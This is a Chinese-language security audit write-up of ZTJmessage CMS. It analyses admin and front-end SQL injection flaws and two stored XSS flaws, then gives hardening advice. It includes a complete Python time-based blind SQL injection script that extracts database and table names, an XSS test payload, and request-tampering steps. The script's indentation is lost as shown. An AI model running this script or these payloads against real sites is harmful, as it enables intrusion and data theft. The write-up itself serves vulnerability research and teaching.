关于ZTJmessage cms的代码审计
字数 1548 2025-08-29 08:32:24
ZTJmessage CMS 代码审计深度分析
0x01 审计准备
工具与环境
- 审计工具:Seay源码审计工具
- 审计原则:从配置文件入手,逐步分析入口文件和核心功能
框架基础分析
-
核心配置文件:
- 定义了基本类结构
- 载入了输入库文件和所有控制器类
- 实例化了两个关键类:
adminlogin类userrequest类
-
安全函数分析 (
safety.fun.php):- SQL注入防护:
- 先进行去除斜杠处理
- 对非数字输入自动加引号
- XSS防护:
- 直接进行本地测试验证
- 整数判断与SQL过滤:
- 检查输入是否在预定义的
$string_var中 - 包含单引号等特殊字符时返回 false
- 检查输入是否在预定义的
- SQL注入防护:
0x02 漏洞分析
1. 后台SQL注入漏洞
漏洞位置:admin/index.php
利用条件:
- 需要管理员权限
- 访问
edituser功能点
漏洞成因:
- 包含
common.php文件并实例化AdminControl类 - 执行流程:
- 判断传入的
location参数 - 调用
menu方法获取用户权限 - 包含
/admin/edituser.Menu.php
- 判断传入的
- 关键问题:
id参数未经任何过滤直接传入sel方法sel方法未对输入进行过滤
利用方式:时间盲注
利用脚本:
import requests
import time
url = "http://127.0.0.1/ZTJmessage/admin/index.php?location=edituser&id="
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0",
"Cookie": "PHPSESSID=eke4v1b953niu1gdf9e5hr5gq4"
}
i = 0
flag = ''
while True:
i = i+1
head = 32
tail = 128
while head < tail:
mid = (head+tail)/2
# 获取数据库名
# payload = "-1' or if(ascii(substr((database()),{0},1))>{1},sleep(1.5),0)--+".format(i,mid)
# 获取表名
payload = "-1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1},sleep(1.5),0)--+".format(i,mid)
url1 = url+payload
print(url1)
times = time.time()
re = requests.get(url1, headers=header)
timee = time.time()
if timee-times > 2:
head = mid+1
else:
tail = mid
if(head != 32):
flag += chr(head)
print(flag)
else:
break
2. 存储型XSS漏洞
漏洞位置:upsiteinfo 功能
利用流程:
- 访问后台站点信息设置
- 在统计代码 (
stat_code) 字段插入XSS payload - 漏洞成因:
- 输入仅经过
toUTF-8和addslanshes_d方法处理 addslanshes_d仅进行转义,未过滤XSS标签
- 输入仅经过
验证方法:
插入经典XSS语句:<script>alert(1)</script>
前端查看是否成功弹窗
3. 前台留言板SQL注入
漏洞位置:留言回复功能
利用条件:
- 需要前台留言板操作权限
- 利用
reply功能
漏洞成因:
- 控制器
replyAction.class.php处理用户输入 ReplyContent字段仅经过:ToUtf8编码转换checkok方法(实际未进行有效检查)
- 直接使用
update方法执行SQL查询
利用方式:
- 使用Burp Suite拦截留言回复请求
- 修改
ReplyContent参数为注入语句 - 注意需要从返回包中获取
Replyinputkey用于后续请求
4. 前台公告XSS漏洞
漏洞位置:百度富文本编辑器
利用方法:
- 通过抓包工具删除富文本中的
p标签 - 插入XSS payload实现绕过
验证方法:
插入XSS代码后查看是否成功弹窗
0x03 防护建议
-
输入过滤:
- 对所有用户输入进行严格过滤
- 使用预编译语句防止SQL注入
- 实现全面的XSS过滤函数
-
权限控制:
- 加强后台权限验证
- 实现最小权限原则
-
安全函数改进:
- 完善
checkok方法的实际检查功能 - 在
addslanshes_d方法中加入XSS过滤
- 完善
-
富文本编辑器:
- 更新到最新版本
- 实现内容安全策略(CSP)
0x04 审计经验总结
-
审计流程:
- 从配置文件入手
- 跟踪用户输入流程
- 重点检查数据库操作和输出显示
-
时间投入:
- 完整审计约需1-2天时间
- 需要耐心跟踪代码执行流程
-
学习建议:
- 多分析已公开的CMS漏洞
- 建立系统的审计方法论
- 保持对新型漏洞的关注
通过本次审计,我们发现了ZTJmessage CMS中存在的多个安全漏洞,涵盖了SQL注入、存储型XSS等多种类型,这些漏洞的发现和修复对于提高系统安全性具有重要意义。